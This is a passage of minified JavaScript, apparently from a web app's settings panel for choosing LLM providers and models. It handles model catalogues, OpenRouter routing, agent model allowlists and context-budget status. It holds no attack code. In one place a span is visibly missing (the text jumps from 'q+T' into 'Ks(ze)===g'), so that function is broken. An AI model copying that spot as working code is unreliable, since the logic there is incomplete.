Ee.enabled&&m(Ee.model)===g&&T.push("Auxiliary"),et.value.model==="auto"&&Qe.value.filter(Wt=>m(Wt)!==g).map(Wt=>I.value.find(Qn=>Qn.ref===Wt)).filter(Wt=>Wt&&R(Wt)&&!(Wt.provider==="compat"&&_t.value&&!Wt.ref.slice(7).includes("/"))).length===0&&T.push("Agent Auto (zero effective choices)"),T};async function O(g,T){if(T!==!1||!y(g))return!0;const q=L(g);return Es({title:`Disable ${g==="compat"?"OpenAI-compatible":g==="codex"?"Codex":"Ollama"}?`,message:`${q.length?`This provider is used by ${q.join(", ")}. `:""}Saved selections and ranked allowlist entries remain configured, not replaced. Continue?`,confirmLabel:"Disable provider",danger:!0})}const I=G(()=>{var Qn,Wa,ft,ps;const g=p.value||{},T=g.model_catalogue||g.model_catalog||{},q=Ze=>{var ts,Et,Yn;return((ts=He.value.model_profiles)==null?void 0:ts[Ze])||((Yn=(Et=He.value.openrouter)==null?void 0:Et.catalogue_profiles)==null?void 0:Yn[Ze])||null},Ee=(Ze,ts,Et)=>ts.map(Yn=>{var vf,bf;const wu=typeof Yn=="string"?Yn:Yn.name,Zn=Ze==="compat"?q(wu):null;return{ref:Ze==="codex"?Yn:`${Ze}:${wu}`,name:wu,provider:Ze,available:!!(Et!=null&&Et.enabled&&(Ze==="codex"?Et.configured:(vf=Et.health)!=null&&vf.healthy)),unavailable_reason:Et!=null&&Et.enabled?Et!=null&&Et.configured?!((bf=Et==null?void 0:Et.health)!=null&&bf.healthy)&&Ze!=="codex"?"unreachable":"":"not configured":"disabled",capability:Ze==="codex"||Zn!=null&&Zn.supports_reasoning?"reasoning":Zn!=null&&Zn.supports_thinking_mode?"thinking":"none",efforts:Zn==null?void 0:Zn.supported_efforts,profile:Zn}}),ze=[...T.codex||Ee("codex",v,g.codex),...T.compat||T.openai_compatible||[],...T.ollama||Ee("ollama",ks.value,g.ollama)].map(Ze=>typeof Ze=="string"?{ref:Ze,name:Ze,provider:"codex",available:y("codex"),capability:"reasoning"}:{...Ze,available:y(Ze.provider)&&Ze.available,unavailable_reason:y(Ze.provider)?Ze.unavailable_reason:"disabled"}),mt=Ze=>{const ts=ze.findIndex(Et=>Et.ref===Ze.ref);if(ts===-1)ze.push(Ze);else{const Et=ze[ts];ze[ts]={...Et,...Ze,available:Et.available,unavailable_reason:Et.unavailable_reason,agent_available:Et.agent_available}}};for(const Ze of Ee("compat",qs.value,g.openai_compatible))mt(Ze);if(Ws.value&&Kn.value.length)for(const Ze of Kn.value){const ts=`compat:${Ze.id}`;mt({ref:ts,name:Ze.name||Ze.id,provider:"compat",available:((Qn=ze.find(Et=>Et.ref===ts))==null?void 0:Qn.available)??!1,unavailable_reason:(Wa=ze.find(Et=>Et.ref===ts))!=null&&Wa.available?"":((ft=ze.find(Et=>Et.ref===ts))==null?void 0:ft.unavailable_reason)||"unavailable",capability:Ze.supports_reasoning?"reasoning":"none",efforts:w.filter(Et=>{var Yn;return(Yn=Ze.supported_efforts)==null?void 0:Yn.includes(Et)}),agent_available:!!(Ze.agent_eligible&&Ze.profile&&((ps=ze.find(Et=>Et.ref===ts))==null?void 0:ps.agent_available)===!0),agent_unavailable_reason:Ze.agent_unavailable_reason||""})}const Wt=new Set(ze.map(Ze=>Ze.ref));for(const Ze of[h.value.main,et.value.model,...ne.value.enabled?[ne.value.model]:[],...Qe.value])if(Ze&&Ze!=="auto"&&!Wt.has(Ze)&&m(Ze)){const ts=m(Ze);ze.unshift({ref:Ze,name:Ze.replace(/^(compat|ollama):/,""),provider:ts,available:!1,unavailable_reason:y(ts)?"unavailable":"disabled",capability:ts==="codex"?"reasoning":"none"}),Wt.add(Ze)}return ze.filter(Ze=>!_t.value||Ze.provider!=="compat"||Ze.ref.slice(7).includes("/")||[h.value.main,et.value.model,ne.value.enabled&&ne.value.model,...Qe.value].includes(Ze.ref)).map(Ze=>Ze.efforts?{...Ze,efforts:w.filter(ts=>Ze.efforts.includes(ts)&&!V(Ze.ref,ts))}:Ze)}),J=()=>[h.value.main,et.value.model,ne.value.enabled&&ne.value.model],ie=G(()=>[["codex","Codex"],["compat","OpenAI-compatible"],["ollama","Ollama"]].filter(([g])=>y(g)).map(([g,T])=>({id:g,label:T,models:I.value.filter(q=>{if(q.provider!==g||A(q.ref)&&J().includes(q.ref))return!1;const Ee=k.value?"":b.value.trim().toLowerCase();return!Ee||`${q.name} ${q.ref}`.toLowerCase().includes(Ee)})})).filter(g=>g.models.length)),te=G(()=>{var g;return((g=ie.value.find(T=>T.id==="codex"))==null?void 0:g.models)||[]}),R=g=>y(g.provider)&&g.available&&g.agent_available!==!1,j=g=>g.available?`${g.name}${g.agent_available===!1?` (${g.agent_unavailable_reason||"not agent-eligible"})`:""}`:se(g),N=G(()=>[["codex","Codex"],["compat","OpenAI-compatible"],["ollama","Ollama"]].filter(([g])=>y(g)).map(([g,T])=>({id:g,label:T,models:I.value.filter(q=>q.provider===g&&!(g==="compat"&&_t.value)&&`${q.ref} ${q.name}`.toLowerCase().includes(gi.value.trim().toLowerCase()))})).filter(g=>g.models.length)),z=G(()=>I.value.find(g=>g.ref===h.value.main)),ee=G(()=>I.value.find(g=>g.ref===et.value.model)),Q=g=>I.value.find(T=>T.ref===g),Y=g=>{const T=Q(g);return(T==null?void 0:T.provider)==="codex"?w.filter(q=>!V(g,q)):(T==null?void 0:T.efforts)||[]},re=g=>oe.value.find(T=>Ks(T)===g),K=(g,T)=>{const q=re(g);return typeof q=="string"?"":(q==null?void 0:q[T])||""},_e=G(()=>Qe.value.map(g=>Q(g)).filter(g=>g&&R(g)&&!(g.provider==="compat"&&_t.value&&!g.ref.slice(7).includes("/")))),Ge=G(()=>[...new Set(_e.value.map(g=>g.capability!=="reasoning"?g.capability||"none":g.provider==="codex"?"codex_reasoning":"compatible_reasoning"))]),de=G(()=>Ge.value.length>1),ue=G(()=>{var T;if(et.value.model!=="auto")return((T=ee.value)==null?void 0:T.capability)||"none";if(de.value)return"mixed";const g=Ge.value[0]||"none";return g.endsWith("_reasoning")?"reasoning":g}),ve=G(()=>{var g;return et.value.model==="auto"?w:((g=ee.value)==null?void 0:g.efforts)||w}),$=G(()=>ue.value==="thinking"?et.value.thinking_mode??C.value.agent_reasoning_effort??"":C.value.agent_reasoning_effort??""),se=g=>`${g.name}${g.available?"":` (${g.unavailable_reason||"unavailable"})`}`,De=G(()=>{const g=C.value.model;return g&&!v.includes(g)?[g,...v]:v}),E=G(()=>{const g=et.value.model;return g&&g!=="auto"&&!v.includes(g)?[g,...v]:v}),M={"gpt-5.4":["max"],"gpt-5.4-mini":["max"],"gpt-6-astra":["none"],"gpt-6.1-sol":["none"]},V=(g,T)=>!!g&&!!T&&(M[g]||[]).includes(T),Ce=G(()=>{const g=et.value.model;return g&&!g.includes(":")?g:null}),fe=g=>!V(C.value.model,g)&&!(C.value.agent_reasoning_effort===""&&V(Ce.value,g)),be=g=>{const T=et.value.model;return T==="auto"?!0:!V(T||C.value.model,g)},Ae=G(()=>{const g=C.value.agent_reasoning_effort;return g==="auto"?null:g||C.value.reasoning_effort}),W=g=>V(g,C.value.reasoning_effort)||et.value.model===""&&V(g,Ae.value),pe=g=>V(g,Ae.value),ne=f({enabled:!1,model:"gpt-6-luna"}),ke=f({unavailable_reason:null}),we=G(()=>{const g=ne.value.model;return g&&!v.includes(g)?[g,...v]:v});function Le(g){const T=g.target.value;ne.value.enabled=T!=="",T!==""&&(ne.value.model=T),T.startsWith("compat:")&&_t.value?jl(zl(T),Bo(T)).then(()=>Ci()).catch(q=>it(q.message||"Failed to prepare OpenRouter model","error")):Ci()}const je=f(!1),tt=f({codex:!1,ollama:!1,compatible:!1}),lt=f(null),ae=f(!1),Se=f(""),Te=f(null),$e=f(!1);let st=0;const le=G(()=>{var g;return Object.entries(((g=lt.value)==null?void 0:g.models)||{}).map(([T,q])=>{var Ee,ze,mt;return{model:T,floor:q.floor,override:q.override,effectiveBudget:(Ee=q.effective)==null?void 0:Ee.effective_budget,configuredPrimaryChars:(ze=q.configured)==null?void 0:ze.primary_chars,primaryChars:(mt=q.effective)==null?void 0:mt.primary_chars,provenance:q.provenance,clampExpiresAt:q.clamp_expires_at,densityPriorMilli:q.density_prior_milli,densityScope:q.density_scope,workloadCalibration:q.workload_calibration}})}),Fe=G(()=>{var g;return((g=lt.value)==null?void 0:g.clamps)||[]}),Ue=G(()=>{var g,T;return((T=(g=lt.value)==null?void 0:g.models)==null?void 0:T[C.value.model])||null}),Oe=f({enabled:!1,base_url:"",model:"",api_key:"",max_tokens:4096,num_ctx:32768,timeout:300}),He=f({enabled:!1,base_url:"https://api.deepseek.com/v1",api_key:"",model:"deepseek-v4-flash",request_timeout_seconds:3600,stream_stall_timeout_seconds:180,preset:"deepseek",reasoning_effort:"medium",model_profiles:{},context_utilization:75,openrouter:{order:[],allow_fallbacks:!0,quantizations:[],sort:null,data_collection:null,reasoning_effort:"medium",model_pins:{},catalogue_profiles:{}}}),me=f(!1),Ke=f(!1),We=f(!1),gt=f(!1),$t=f(!1),ht=f(!1);function St(){var T,q,Ee;return!!(((T=e.value)==null?void 0:T.contains(document.activeElement))&&((Ee=(q=document.activeElement)==null?void 0:q.matches)==null?void 0:Ee.call(q,'input, textarea, select, [contenteditable="true"]'))||rn.value||ho.value!==null||$e.value||me.value||Ke.value||on.value||We.value||gt.value||$t.value||je.value||Xi.pending()||el.pending()||yi.pending()||Ci.pending()||d("codexBasic",ir(C.value))||d("codexAdvanced",lr(C.value))||d("ollamaBasic",rr(Oe.value))||d("ollamaAdvanced",jo(Oe.value))||d("compatibleBasic",ar(He.value))||d("compatibleAdvanced",$o(He.value))||d("auxiliary",ne.value)||d("mainModel",h.value.main)||d("agents",et.value))}function ys(){o.codexBasic=c(ir(C.value)),o.codexAdvanced=c(lr(C.value)),o.ollamaBasic=c(rr(Oe.value)),o.ollamaAdvanced=c(jo(Oe.value)),o.compatibleBasic=c(ar(He.value)),o.compatibleAdvanced=c($o(He.value)),o.auxiliary=c(ne.value),o.mainModel=c(h.value.main)}const zs=f({configured:null}),Sn=f(!1),ks=f([]),Tn=f(""),ln=f(!1),bn=f(!1),Fs=f({configured:null}),da=f(!1),qs=f([]),Gt=G(()=>_t.value?Kn.value.map(g=>g.id):qs.value),Vs=f(""),pa=f(!1),qn=f(!1),et=f({model:"auto",thinking_mode:null,auto_model_allowlist:[]}),rn=f(!1),on=f(!1),Ks=g=>typeof g=="string"?g:g==null?void 0:g.model,oe=G(()=>(et.value.auto_model_allowlist||[]).map(g=>typeof g=="string"?g:{...g}).filter(g=>Ks(g))),Me=G(()=>{var g,T,q,Ee;if(!y("codex")&&y("compat")){const ze=(T=(g=p.value)==null?void 0:g.openai_compatible)==null?void 0:T.model;return ze?[`compat:${ze}`]:[]}if(!y("codex")&&!y("compat")&&y("ollama")){const ze=(Ee=(q=p.value)==null?void 0:q.ollama)==null?void 0:Ee.model;return ze?[`ollama:${ze}`]:[]}return y("codex")?v:[]}),Qe=G(()=>oe.value.length?oe.value.map(Ks):Me.value),yt=G(()=>_e.value.length),Vt=G(()=>{var g;return`${(g=et.value.auto_model_allowlist)!=null&&g.length?"Allowlist":"Default"}: ${Qe.value.length} configured, ${yt.value} effective models`}),is=new Map;function Ua(){rn.value=!1,fo()}const fa=g=>{const T=m(g);if(T&&!y(T))return"provider disabled";if(_t.value&&g.startsWith("compat:")&&!g.slice(7).includes("/"))return"OpenRouter requires a namespaced vendor/model ID; this is a direct-endpoint profile.";const q=I.value.find(Ee=>Ee.ref===g);return q?R(q)&&!(q.provider==="compat"&&_t.value&&!g.slice(7).includes("/"))?"":q.agent_unavailable_reason||q.unavailable_reason||"Not agent-eligible":"Model is absent from the current endpoint catalogue."},$a=g=>{if(qa.value.has(g))return vi(g);const T=I.value.find(Ee=>Ee.ref===g),q=(T==null?void 0:T.hint_metadata)||{};return[q.hint||q.hint_derived,q.as_of&&`as of ${q.as_of}`,q.scope_note,q.evidence&&`Evidence: ${q.evidence}`,T&&rf(T)].filter(Boolean).join(" · ")||"No catalogue hint. Add an operator hint below."},Pt=f(null),cn=f(!1),ds=f("");let Vn=0;const Kn=G(()=>{var g;return(((g=Pt.value)==null?void 0:g.models)||[]).map(T=>{var Ee,ze,mt;const q=((Ee=He.value.model_profiles)==null?void 0:Ee[T.id])||T.profile||((mt=(ze=He.value.openrouter)==null?void 0:ze.catalogue_profiles)==null?void 0:mt[T.id])||(T.context_length>0&&T.max_completion_tokens>0?{total_window_tokens:T.context_length,max_output_tokens:T.max_completion_tokens}:null);return{...T,profile:q}})}),gi=f(""),ja=f(""),mi=f(!0),Ba=f(!0),Ja=f(!0),Je=f(!1),F=f(null),Be=f(""),Re=f(null),nt=f(""),at=f([]),ot=f(!1),es=f("throughput"),Ot=(g,T,q=null)=>{const Ee=g[T],ze=q&&Ee&&typeof Ee=="object"?Ee[q]:Ee,mt=Number(ze);return Number.isFinite(mt)?mt:null},Kt=G(()=>{const g=[...at.value],T=es.value;return g.sort((q,Ee)=>{var Ze,ts;if(T==="quantization")return String(q.quantization).localeCompare(String(Ee.quantization));const[ze,mt,Wt]=T==="throughput"?["throughput_last_30m","p50",!0]:T==="latency_p99"?["latency_last_30m","p99",!1]:T==="cache_price"?["cache_read_per_token",null,!1]:["prompt_per_token",null,!1],Qn=(Ze=q.pricing)==null?void 0:Ze[ze],Wa=(ts=Ee.pricing)==null?void 0:ts[ze],ft=mt?Ot(q,ze,mt):Qn==null?null:Number(Qn),ps=mt?Ot(Ee,ze,mt):Wa==null?null:Number(Wa);return Number.isFinite(ft)?Number.isFinite(ps)?Wt?ps-ft:ft-ps:-1:1})}),Ts=G(()=>{try{return new URL(He.value.base_url).hostname}catch{return""}}),_t=G(()=>/(^|\.)openrouter\.ai$/i.test(Ts.value)),Hn=G(()=>{var g,T;return((T=(g=p.value)==null?void 0:g.openai_compatible)==null?void 0:T.base_url)||""}),za=G(()=>{try{return new URL(Hn.value).href}catch{return""}}),co=G(()=>{try{return new URL(He.value.base_url).href}catch{return""}}),Ws=G(()=>y("compat")&&_t.value&&!!za.value&&za.value===co.value);us(()=>[Ws.value,co.value,za.value],()=>{++Vn,Pt.value=null,ds.value="",cn.value=!1,fo()},{flush:"sync"});const cu=G(()=>{var g,T;return _t.value?cn.value?"OpenRouter recognized · fetching catalogue…":ds.value?`OpenRouter recognized · catalogue failed: ${ds.value}`:`OpenRouter recognized · ${((T=(g=Pt.value)==null?void 0:g.models)==null?void 0:T.length)||0} catalogue models loaded`:qs.value.length?`${qs.value.length} endpoint models loaded`:"Catalogue not loaded"}),uu=G(()=>ds.value?"text-red-400":"text-gray-500"),uo=G(()=>{var g;return[...new Set((((g=Pt.value)==null?void 0:g.models)||[]).map(T=>T.vendor))].sort()}),du=G(()=>{var g;return[...new Set((((g=Pt.value)==null?void 0:g.models)||[]).flatMap(T=>(T.endpoints||[]).map(q=>q.quantization)).filter(Boolean))].sort()}),pu=g=>{var T;return(((T=Pt.value)==null?void 0:T.measured_cache)||[]).some(q=>q.model===g.id&&q.samples>0&&q.cached_percent>0)},po=G(()=>{const g=gi.value.trim().toLowerCase();return Kn.value.filter(T=>{var q;return!(g&&!`${T.id} ${T.name} ${T.vendor}`.toLowerCase().includes(g)||ja.value&&T.vendor!==ja.value||mi.value&&!T.supports_tools||Ba.value&&!T.agent_eligible||Ja.value&&T.variant!=="standard"||Je.value&&!pu(T)||F.value!=null&&Number((q=T.pricing)==null?void 0:q.prompt_per_token)*1e6>Number(F.value)||Be.value&&!(T.endpoints||[]).some(Ee=>Ee.quantization===Be.value))})}),fu=G(()=>po.value.slice(0,100)),Bu=G(()=>po.value.length),qa=G(()=>new Map((Ws.value?Kn.value:[]).map(g=>[`compat:${g.id}`,g]))),Va=g=>g==null?"n/a":`$${(Number(g)*1e6).toFixed(3)}/M`,Qi=g=>{var T,q,Ee,ze;return[g.vendor,g.context_length?`${Number(g.context_length).toLocaleString()} ctx`:"context unknown",`${Va((T=g.pricing)==null?void 0:T.prompt_per_token)} in`,`${Va((q=g.pricing)==null?void 0:q.completion_per_token)} out`,`${Va((Ee=g.pricing)==null?void 0:Ee.cache_read_per_token)} cache read`,`${Va((ze=g.pricing)==null?void 0:ze.cache_write_per_token)} cache write`,g.supports_tools?"tools":"no tools",g.supports_reasoning?"reasoning":"no reasoning",g.variant!=="standard"?g.variant:null].filter(Boolean).join(" · ")},vi=g=>{var ze;const T=qa.value.get(g);if(!T)return"Catalogue facts unavailable";const q=(((ze=Pt.value)==null?void 0:ze.measured_cache)||[]).filter(mt=>mt.model===T.id),Ee=q.length?q.map(mt=>`${mt.upstream_provider}: ${mt.cached_percent}% cached`).join(" · "):"No measured cache evidence yet";return`${Qi(T)} · ${Ee}${T.profile_conflict?" · operator profile conflicts with catalogue":""}`},Yi=G(()=>qs.value.map(g=>typeof g=="string"?g:g.name).filter(Boolean)),$l=async()=>{var T,q,Ee;const g=(Ee=(q=(T=p.value)==null?void 0:T.openai_compatible)==null?void 0:q.preset_catalogue)==null?void 0:Ee[He.value.preset];g&&(He.value.base_url=g.base_url),yi.cancel(),await Ql()},D=(g,T)=>{He.value.openrouter[g]=T.split(",").map(q=>q.trim()).filter(Boolean)},Z=G(()=>ks.value||[]),ce=G(()=>{const g=[...v,...Yi.value.map(T=>`compat:${T}`),...Z.value.map(T=>`ollama:${T.name}`)];for(const T of[et.value.model,...Qe.value])T&&T!=="auto"&&!g.includes(T)&&g.unshift(T);return g}),Pe=g=>g==="codex-auto-review"?"codex-auto-review (Codex alias → gpt-5.6-luna)":g;async function ct({poll:g=!1}={}){try{const T=await U.get("/api/agents/model");if(g&&St()||rn.value||on.value||d("agents",et.value))return;et.value={...et.value,...T},o.agents=c(et.value)}catch{}}async function Ht(){const g=Ts.value,T=Hn.value,q=++Vn;if(!Ws.value){Pt.value=null,ds.value="",cn.value=!1;return}cn.value=!0;try{const Ee=await U.get("/api/openrouter/catalogue");if(q!==Vn||!Ws.value||g!==Ts.value||T!==Hn.value)return;Pt.value=Ee,ds.value=""}catch(Ee){if(q!==Vn||!Ws.value)return;ds.value=Ee.message||"Failed to load OpenRouter catalogue"}finally{q===Vn&&(cn.value=!1)}}async function Cn(){var g;try{(g=et.value.model)!=null&&g.startsWith("compat:")&&_t.value&&await jl(zl(et.value.model),Bo(et.value.model));const T=await U.put("/api/agents/model",{model:et.value.model||null});et.value={...et.value,...T},o.agents=c(et.value),it("Agent model policy saved")}catch(T){it(T.message||"Failed to save agent model policy","error")}}const Ms=()=>[...oe.value.length?oe.value:Qe.value];async function Ka(g,T){const q=Ms(),Ee=q.findIndex(Wt=>Ks(Wt)===g);let ze=null;if(T.target.checked&&Ee<0&&q.push(is.get(g)||g),!T.target.checked&&Ee>=0&&([ze]=q.splice(Ee,1)),!q.length){T.target.checked=!0,it("Keep one model selected. An empty list restores the provider default.","error");return}const mt=await Qs(q,"Agent Auto allowlist saved");mt&&T.target.checked&&is.delete(g),mt&&!T.target.checked&&typeof ze=="object"&&is.set(g,ze),mt||(T.target.checked=Qe.value.includes(g))}async function Qs(g,T){if(on.value)return!1;on.value=!0;try{const q=await U.put("/api/agents/model",{auto_model_allowlist:g});return et.value={...et.value,...q},o.agents=c(et.value),it(T),!0}catch(q){return it(q.message||"Failed to save agent allowlist","error"),!1}finally{on.value=!1}}const Kb=()=>Qs([],"Provider default restored");async function Wb(g,T,q){const Ee=Qe.value.map(ze=>{const mt=re(ze);if(ze!==g)return mt||ze;const Wt=typeof mt=="string"?{model:ze}:{...mt||{model:ze}};return delete Wt.reasoning_effort,delete Wt.thinking_mode,q&&(Wt[T]=q),Object.keys(Wt).length===1?Wt.model:Wt});await Qs(Ee,"Model default saved")}async function jl(g,T=""){const[q,...Ee]=g.split("/");if(!q||!Ee.length)throw new Error("OpenRouter model id is not namespaced");return U.post(`/api/openrouter/models/${encodeURIComponent(q)}/${encodeURIComponent(Ee.join("/"))}/select`,{provider_tag:T})}const Qb=(g,T)=>{var Ee;const q=(((Ee=Pt.value)==null?void 0:Ee.measured_cache)||[]).find(ze=>ze.model===g&&ze.upstream_provider===T);return q?`${q.cached_percent}% cached over ${q.samples} calls`:"no measured cache evidence"},Yb=g=>g==null?"n/a":`$${(Number(g)*1e6).toFixed(4)}/M`,Zb=(g,T)=>{if(g==null)return"n/a";if(typeof g=="number")return Number(g).toLocaleString();const q=g[T];return q==null?"n/a":Number(q).toLocaleString()},Xb=g=>{var ze;const T=[];g.quantization==="fp4"&&T.push("fp4 quantization may change quality");const q=typeof g.latency_last_30m=="object"?Number((ze=g.latency_last_30m)==null?void 0:ze.p99):null,Ee=Number(et.value.iteration_timeout_seconds||0)*1e3;return q&&Ee&&q>Ee&&T.push("p99 exceeds the agent iteration budget"),T.join("; ")};let Jl=0;async function eC(g){var q;const T=++Jl;Re.value=g,at.value=[],nt.value=((q=He.value.openrouter.model_pins)==null?void 0:q[g.id])||"",ot.value=!0;try{const[Ee,...ze]=g.id.split("/"),mt=await U.get(`/api/openrouter/models/${encodeURIComponent(Ee)}/${encodeURIComponent(ze.join("/"))}/endpoints`);if(T!==Jl)return;at.value=mt.endpoints||[]}catch(Ee){if(T!==Jl)return;at.value=[],it(Ee.message||"Failed to load OpenRouter provider routes","error")}finally{T===Jl&&(ot.value=!1)}}function fo(){++Jl,ot.value=!1,Re.value=null,nt.value="",at.value=[]}async function tC(g,T=""){try{await jl(g.id,T);const q=Ms(),Ee=`compat:${g.id}`;if(q.some(mt=>Ks(mt)===Ee)||q.push(Ee),!await Qs(q,T?"OpenRouter model added and provider pinned.":"OpenRouter model added unpinned."))return;fo(),await Wn()}catch(q){it(q.message||"Failed to add OpenRouter model","error")}}const zl=g=>g.startsWith("compat:")?g.slice(7):g,Bo=g=>{var T;return((T=He.value.openrouter.model_pins)==null?void 0:T[zl(g)])||""},sC=g=>Qe.value.length>1&&Qs(Ms().filter(T=>Ks(T)!==g),"Model removed from allowlist");async function nC(){var g,T;try{const q=Ms();for(const Ee of((g=Pt.value)==null?void 0:g.quick_add)||[])(T=qa.value.get(Ee))!=null&&T.agent_eligible&&(await jl(zl(Ee),""),q.some(ze=>Ks(ze)===Ee)||q.push(Ee));await Qs(q,"Curated OpenRouter models added"),await Wn()}catch(q){it(q.message||"Failed to add curated OpenRouter models","error")}}function rf(g){const T=g.hint_metadata||{},q=[];return T.context_tokens&&q.push(`context ${Number(T.context_tokens).toLocaleString()}`),T.max_output_tokens&&q.push(`max output ${Number(T.max_output_tokens).toLocaleString()}`),T.structural_source&&q.push(`source ${T.structural_source}`),q.join("; ")}async function aC(g,T){const q={...et.value.model_selection_hints||{}},Ee=T.trim();Ee?q[g]=Ee:delete q[g];try{const ze=await U.put("/api/agents/model",{model_selection_hints:q});et.value={...et.value,...ze},o.agents=c(et.value),it("Model hint saved")}catch(ze){it(ze.message||"Failed to save model hint","error")}}function of(g,T){const q=Qe.value.indexOf(g);return!on.value&&q>=0&&q+T>=0&&q+TKs(ze)===g);Ee<0||!of(g,T)||([q[Ee],q[Ee+T]]=[q[Ee+T],q[Ee]],await Qs(q,"Agent Auto allowlist order saved"))}const hu=f(!0),gu=f(""),cf=f({configured:null,accounts:[]}),mu=f(null),ho=f(null),vu=f(""),ql=f(null),bu=f(!1),Cu=f(null),uf=f(null),df=f("");let Zi=null;function it(g,T="success"){Ie(g,T==="error"?"error":"success")}function lC(g){if(!g)return"?";const T=g/(1024*1024*1024);return T>=1?T.toFixed(1)+" GB":(g/(1024*1024)).toFixed(0)+" MB"}function rC(g){return Number.isFinite(Number(g))?Number(g).toLocaleString():"—"}function oC(g){return g==null?"automatic (model-derived)":Number(g).toLocaleString()+" characters"}function cC(g){const T=new Date(g);return Number.isNaN(T.getTime())?"unknown":T.toLocaleString([],{dateStyle:"medium",timeStyle:"short"})}function uC(g){const T=new Date(Number(g)*1e3);return Number.isNaN(T.getTime())?"unknown":T.toLocaleString([],{dateStyle:"medium",timeStyle:"short"})}function dC(g){const T=Number(g);if(!Number.isFinite(T)||T<=0)return"unknown";const q=Math.max(0,Math.floor((Date.now()/1e3-T)/60));return q<1?"<1 min":`${q} min`}function pC(g){return typeof g=="string"&&g.length>12?g.slice(0,8)+"…"+g.slice(-4):g}function fC(g){return typeof g!="number"||!Number.isFinite(g)?"—":(g/1e3).toFixed(2)}function BC(g){return g==="temporary learned clamp"?"is-clamp":g==="override"?"is-override":"is-built-in"}function hC(g){const T=C.value.context_budget_overrides[g.model];return g.floor!=null&&Number.isFinite(Number(T))&&Number(T)>g.floor}function gC(g,T){const q={...C.value.context_budget_overrides};T.target.value===""?delete q[g]:q[g]=Number(T.target.value),C.value.context_budget_overrides=q,$e.value=!0}function mC(g){C.value.context_utilization=g.target.value===""?"":Number(g.target.value),$e.value=!0}function vC(g){const T={...C.value.context_budget_overrides};delete T[g],C.value.context_budget_overrides=T,$e.value=!0}async function Wn({quiet:g=!1,poll:T=!1}={}){if(!(T&&St())){if(l&&await l,i)return i;g||(t.value=!0),i=(async()=>{await Promise.all([As({poll:T}),Vl(),Kl(),ct({poll:T}),Gn(),bi({poll:T})]),await Ht(),St()||ys()})();try{await i}finally{i=null,g||(t.value=!1)}}}async function bC(){if(!(St()||i)){if(l)return l;l=Promise.all([As({poll:!0}),Vl({refreshModels:!1}),Kl({refreshModels:!1}),ct({poll:!0}),Gn(),bi({poll:!0})]).then(()=>{St()||ys()});try{await l}finally{l=null}}}async function As({preserveBasic:g=!1,preserveAdvanced:T=!1,poll:q=!1}={}){var Ee,ze,mt,Wt,Qn,Wa;try{const ft=await U.get("/api/llm/status");p.value=ft,B.value=!1,!r&&!d("mainModel",h.value.main)&&(h.value.main=ft.main_model||ft.active_model||(ft.active_provider==="compat"?`compat:${((Ee=ft.openai_compatible)==null?void 0:Ee.model)||""}`:ft.active_provider==="ollama"?`ollama:${((ze=ft.ollama)==null?void 0:ze.model)||""}`:((mt=ft.codex)==null?void 0:mt.model)||"gpt-6.1-sol")),ft.codex&&!Xi.pending()&&(!g&&!We.value&&!d("codexBasic",ir(C.value))&&(C.value.enabled=ft.codex.enabled,C.value.model=ft.codex.model||"gpt-6.1-sol",C.value.reasoning_effort=ft.codex.reasoning_effort||"medium",C.value.agent_reasoning_effort=ft.codex.agent_reasoning_effort||""),!T&&!We.value&&!d("codexAdvanced",lr(C.value))&&(C.value.request_timeout_seconds=ft.codex.request_timeout_seconds??C.value.request_timeout_seconds,C.value.stream_stall_timeout_seconds=ft.codex.stream_stall_timeout_seconds??C.value.stream_stall_timeout_seconds,C.value.retry={...C.value.retry,...ft.codex.retry||{}},C.value.connection_pool={...C.value.connection_pool,...ft.codex.connection_pool||{}},C.value.context_compression={...C.value.context_compression,...ft.codex.context_compression||{}},!$e.value&&!We.value&&(C.value.context_budget_overrides={...ft.codex.context_budget_overrides||{}},C.value.context_utilization=ft.codex.context_utilization??C.value.context_utilization))),ft.ollama&&!el.pending()&&(!g&&!gt.value&&!d("ollamaBasic",rr(Oe.value))&&(Oe.value.enabled=ft.ollama.enabled,Oe.value.base_url=ft.ollama.base_url||"",Oe.value.model=ft.ollama.model||"",Oe.value.max_tokens=ft.ollama.max_tokens||4096,Oe.value.num_ctx=ft.ollama.num_ctx||32768),!T&&!gt.value&&!d("ollamaAdvanced",jo(Oe.value))&&(Oe.value.timeout=ft.ollama.timeout??Oe.value.timeout));const ps=ft.openai_compatible;ps&&!yi.pending()&&(!g&&!$t.value&&!d("compatibleBasic",ar(He.value))&&(He.value.enabled=ps.enabled,He.value.base_url=ps.base_url||He.value.base_url,He.value.model=ps.model||He.value.model,He.value.preset=ps.preset||He.value.preset,He.value.reasoning_effort=ps.reasoning_effort||"medium"),!T&&!$t.value&&!d("compatibleAdvanced",$o(He.value))&&(He.value.request_timeout_seconds=ps.request_timeout_seconds??He.value.request_timeout_seconds,He.value.stream_stall_timeout_seconds=ps.stream_stall_timeout_seconds??He.value.stream_stall_timeout_seconds,He.value.model_profiles=ps.model_profiles||He.value.model_profiles,He.value.context_utilization=ps.context_utilization??He.value.context_utilization,He.value.openrouter={...He.value.openrouter,...ps.openrouter||{}})),!r&&!d("mainModel",h.value.main)&&((Wt=h.value.main)!=null&&Wt.startsWith("compat:")?h.value.main_capability=(ps==null?void 0:ps.reasoning_effort)||"medium":(Qn=h.value.main)!=null&&Qn.startsWith("ollama:")||(h.value.main_capability=((Wa=ft.codex)==null?void 0:Wa.reasoning_effort)||"medium")),ft.auxiliary&&(ke.value=ft.auxiliary,!Ci.pending()&&!je.value&&!d("auxiliary",ne.value)&&(ne.value.enabled=ft.auxiliary.enabled,ne.value.model=ft.auxiliary.model||"gpt-6-luna"))}catch{p.value||(p.value={active_provider:"",codex:{configured:null},ollama:{configured:null},openai_compatible:{configured:null}}),B.value=!0}}async function bi({poll:g=!1}={}){const T=++st;ae.value=!0,Se.value="";try{const q=await U.get("/api/context/windows");if(T!==st)return;lt.value=q,!(g&&St())&&!We.value&&!$e.value&&(C.value.context_budget_overrides=Object.fromEntries(Object.entries(q.models||{}).filter(([,Ee])=>Ee.override!=null).map(([Ee,ze])=>[Ee,ze.override])),C.value.context_utilization=q.utilization??C.value.context_utilization)}catch(q){T===st&&(Se.value=q.message||"Failed to load context budgets")}finally{T===st&&(ae.value=!1)}}async function Vl({refreshModels:g=!0}={}){try{if(zs.value=await U.get("/api/ollama/status"),Sn.value=!1,zs.value.model&&(Tn.value=zs.value.model),g&&zs.value.configured)try{const T=await U.get("/api/ollama/models");ks.value=T.models||[]}catch{ks.value=[]}else if(g&&Oe.value.base_url)try{const T=await U.post("/api/ollama/probe-models",{base_url:Oe.value.base_url});ks.value=T.models||[]}catch{ks.value=[]}}catch{Sn.value=!0}}async function 